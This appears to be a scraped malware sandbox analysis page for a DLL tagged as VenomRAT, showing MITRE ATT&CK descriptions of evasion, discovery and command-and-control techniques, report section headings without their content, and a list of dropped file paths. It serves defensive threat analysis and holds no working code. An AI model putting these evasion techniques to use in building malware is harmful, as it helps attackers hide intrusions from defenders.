Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iviewers.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VenomRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.0.cs

C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline

C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll

C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.out

C:\Users\user\AppData\Local\Temp\10esxhtc\CSC630D1DBBBF4439F8DFE57AEDCAADEA.TMP

Windows Analysis Report
iviewers.dll

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre